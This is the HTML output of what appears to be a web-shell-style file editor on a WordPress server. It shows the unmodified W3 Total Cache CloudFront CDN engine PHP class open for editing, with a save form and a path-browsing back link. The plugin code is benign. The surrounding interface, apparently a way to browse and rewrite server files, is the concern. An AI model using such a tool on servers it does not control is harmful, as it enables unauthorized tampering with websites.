<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: CdnEngine_Mirror_CloudFront.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;

if ( !defined( 'W3TC_SKIPLIB_AWS' ) ) {
	require_once W3TC_DIR . '/vendor/autoload.php';
}

/**
 * Amazon CloudFront (mirror) CDN engine
 */
class CdnEngine_Mirror_CloudFront extends CdnEngine_Mirror {
	private $api;

	/**
	 * Constructor
	 */
	function __construct( $config = array() ) {
		parent::__construct( $config );
	}

	/**
	 * Initializes S3 object
	 *
	 * @param string  $error
	 * @return bool
	 */
	function _init() {
		if ( !is_null( $this-&gt;api ) ) {
			return;
		}

		if ( empty( $this-&gt;_config['key'] ) &amp;&amp; empty( $this-&gt;_config['secret'] ) ) {
			$credentials = \Aws\Credentials\CredentialProvider::defaultProvider();
		} else {
			$credentials = new \Aws\Credentials\Credentials(
				$this-&gt;_config['key'],
				$this-&gt;_config['secret'] );
		}

		$this-&gt;api = new \Aws\CloudFront\CloudFrontClient( array(
				'credentials' =&gt; $credentials,
				'region' =&gt; 'us-east-1',
				'version' =&gt; '2018-11-05'
			)
		);

		return true;
	}

	/**
	 * Returns origin
	 *
	 * @return string
	 */
	function _get_origin() {
		return Util_Environment::host_port();
	}

	/**
	 * Purge files from CDN
	 *
	 * @param array   $files
	 * @param array   $results
	 * @return boolean
	 */
	function purge( $files, &amp;$results ) {
		try {
			$this-&gt;_init();
			$dist = $this-&gt;_get_distribution();
		} catch ( \Exception $ex ) {
			$results = $this-&gt;_get_results( $files, W3TC_CDN_RESULT_HALT, $ex-&gt;getMessage() );
			return false;
		}

		$paths = array();

		foreach ( $files as $file ) {
			$remote_file = $file['remote_path'];
			$paths[] = '/' . $remote_file;
		}

		try {
			$invalidation = $this-&gt;api-&gt;createInvalidation( array(
					'DistributionId' =&gt; $dist['Id'],
					'InvalidationBatch' =&gt; array(
						'CallerReference' =&gt; 'w3tc-' . 	microtime(),
						'Paths' =&gt; array(
							'Items' =&gt; $paths,
							'Quantity' =&gt; count( $paths ),
						),
					)
				)
			);
		} catch ( \Exception $ex ) {
			$results = $this-&gt;_get_results( $files, W3TC_CDN_RESULT_HALT,
				sprintf( 'Unable to create invalidation batch (%s).',
				$ex-&gt;getMessage() ) );

			return false;
		}

		$results = $this-&gt;_get_results( $files, W3TC_CDN_RESULT_OK, 'OK' );
		return true;
	}

	/**
	 * Purge CDN completely
	 *
	 * @param unknown $results
	 * @return bool
	 */
	function purge_all( &amp;$results ) {
		return $this-&gt;purge( array( array( 'remote_path' =&gt; '*' ) ), $results );
	}

	/**
	 * Returns array of CDN domains
	 *
	 * @return array
	 */
	function get_domains() {
		if ( !empty( $this-&gt;_config['cname'] ) ) {
			return (array) $this-&gt;_config['cname'];
		} elseif ( !empty( $this-&gt;_config['id'] ) ) {
			$domain = sprintf( '%s.cloudfront.net', $this-&gt;_config['id'] );

			return array(
				$domain
			);
		}

		return array();
	}

	/**
	 * Tests CF
	 *
	 * @param string  $error
	 * @return boolean
	 */
	function test( &amp;$error ) {
		$this-&gt;_init();

		/**
		 * Search active CF distribution
		 */
		$dists = $this-&gt;api-&gt;listDistributions();

		if ( !isset( $dists['DistributionList']['Items'] ) ) {
			$error = 'Unable to list distributions.';
			return false;
		}

		if ( !count( $dists['DistributionList']['Items'] ) ) {
			$error = 'No distributions found.';

			return false;
		}

		$dist = $this-&gt;_get_distribution( $dists );
		if ( $dist[&quot;Status&quot;] != 'Deployed' ) {
			$error = sprintf( 'Distribution status is not Deployed, but &quot;%s&quot;.', $dist[&quot;Status&quot;] );
			return false;
		}

		if ( !$dist['Enabled'] ) {
			$error = sprintf( 'Distribution for origin &quot;%s&quot; is disabled.', $origin );
			return false;
		}

		if ( !empty( $this-&gt;_config['cname'] ) ) {
			$domains = (array) $this-&gt;_config['cname'];
			$cnames = ( isset( $dist['Aliases']['Items'] ) ? (array) $dist['Aliases']['Items'] : array() );

			foreach ( $domains as $domain ) {
				$_domains = array_map( 'trim', explode( ',', $domain ) );

				foreach ( $_domains as $_domain ) {
					if ( !in_array( $_domain, $cnames ) ) {
						$error = sprintf( 'Domain name %s is not in distribution &lt;acronym title=&quot;Canonical Name&quot;&gt;CNAME&lt;/acronym&gt; list.', $_domain );

						return false;
					}
				}
			}
		} elseif ( !empty( $this-&gt;_config['id'] ) ) {
			$domain = $this-&gt;get_domain();

			if ( $domain != $dist['DomainName'] ) {
				$error = sprintf( 'Distribution domain name mismatch (%s != %s).', $domain, $dist['DomainName'] );

				return false;
			}
		}

		return true;
	}

	/**
	 * Create distribution
	 */
	function create_container() {
		$this-&gt;_init();

		// plugin cant set CNAMEs list since it CloudFront requires
		// certificate to be specified associated with it
		$cnames = array();

		// make distibution
		$originDomain = $this-&gt;_get_origin();

		try {
			$result = $this-&gt;api-&gt;createDistribution( array(
				'DistributionConfig' =&gt; array(
					'CallerReference' =&gt; $originDomain,
					'Comment' =&gt; 'Created by W3-Total-Cache',
					'DefaultCacheBehavior' =&gt; array(
						'AllowedMethods' =&gt; array(
							'CachedMethods' =&gt; array(
								'Items' =&gt; array( 'HEAD', 'GET' ),
								'Quantity' =&gt; 2,
							),
							'Items' =&gt; array( 'HEAD', 'GET' ),
							'Quantity' =&gt; 2,
						),
						'Compress' =&gt; true,
						'DefaultTTL' =&gt; 86400,
						'FieldLevelEncryptionId' =&gt; '',
						'ForwardedValues' =&gt; array(
							'Cookies' =&gt; array(
								'Forward' =&gt; 'none',
							),
							'Headers' =&gt; array(
								'Quantity' =&gt; 0,
							),
							'QueryString' =&gt; false,
							'QueryStringCacheKeys' =&gt; array(
								'Quantity' =&gt; 0,
							),
						),
						'LambdaFunctionAssociations' =&gt; array( 'Quantity' =&gt; 0),
						'MinTTL' =&gt; 0,
						'SmoothStreaming' =&gt; false,
						'TargetOriginId' =&gt; $originDomain,
						'TrustedSigners' =&gt; array(
							'Enabled' =&gt; false,
							'Quantity' =&gt; 0,
						),
						'ViewerProtocolPolicy' =&gt; 'allow-all',
					),
					'Enabled' =&gt; true,
					'Origins' =&gt; array(
						'Items' =&gt; array(
							array(
								'DomainName' =&gt; $originDomain,
								'Id' =&gt; $originDomain,
								'OriginPath' =&gt; '',
								'CustomHeaders' =&gt; array( 'Quantity' =&gt; 0 ),
								'CustomOriginConfig' =&gt; array(
									'HTTPPort' =&gt; 80,
									'HTTPSPort' =&gt; 443,
									'OriginProtocolPolicy' =&gt; 'match-viewer'
								),
							),
						),
						'Quantity' =&gt; 1,
					),
					'Aliases' =&gt; array(
						'Items' =&gt; $cnames,
						'Quantity' =&gt; count( $cnames )
					)
				)
			));

			// extract domain dynamic part stored later in a config
			$domain = $result['Distribution']['DomainName'];
			$container_id = '';
			if ( preg_match( '~^(.+)\.cloudfront\.net$~', $domain, $matches ) ) {
				$container_id = $matches[1];
			}

			return $container_id;

		} catch ( \Aws\Exception\AwsException $ex ) {
			throw new \Exception( sprintf(
				'Unable to create distribution for origin %s: %s', $originDomain,
				$ex-&gt;getAwsErrorMessage() ) );
		} catch ( \Exception $ex ) {
			throw new \Exception( sprintf(
				'Unable to create distribution for origin %s: %s', $originDomain,
				$ex-&gt;getMessage() ) );
		}
	}

	/**
	 * Returns via string
	 */
	function get_via() {
		$domain = $this-&gt;get_domain();
		$via = ( $domain ? $domain : 'N/A' );

		return sprintf( 'Amazon Web Services: CloudFront: %s', $via );
	}

	private function _get_distribution( $dists = null ) {
		if ( is_null( $dists ) ) {
			$dists = $this-&gt;api-&gt;listDistributions();
		}

		if ( !isset( $dists['DistributionList']['Items'] ) ||
				!count( $dists['DistributionList']['Items'] ) ) {
			throw new \Exception( 'No distributions found.' );
		}

		$dist = false;
		$origin = $this-&gt;_get_origin();

		$items = $dists['DistributionList']['Items'];
		foreach ( $items as $dist ) {
			if ( isset( $dist['Origins']['Items'] ) ) {
				foreach ( $dist['Origins']['Items'] as $o ) {
					if ( isset( $o['DomainName'] ) &amp;&amp; $o['DomainName'] == $origin ) {
						return $dist;
					}
				}
			}
		}

		throw new \Exception( sprintf( 'Distribution for origin &quot;%s&quot; not found.', $origin ) );
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache'>🔙 Back</a>